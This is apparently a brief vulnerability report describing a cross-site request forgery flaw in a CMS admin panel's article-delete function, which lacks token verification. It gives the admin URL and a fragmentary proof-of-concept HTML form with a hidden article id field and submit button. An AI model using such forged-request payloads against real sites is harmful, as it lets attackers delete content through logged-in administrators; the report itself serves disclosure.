In your Background admin delete Article section, did not produce relevant token verification source caused CSRF, and the "get" parameter value is very dangerous.

List:

http://website/manage.php?p=article_list

Poc Payload:

      <input type="hidden" name="id" value="2" />
      <input type="submit" value="Hello" />
    </form>
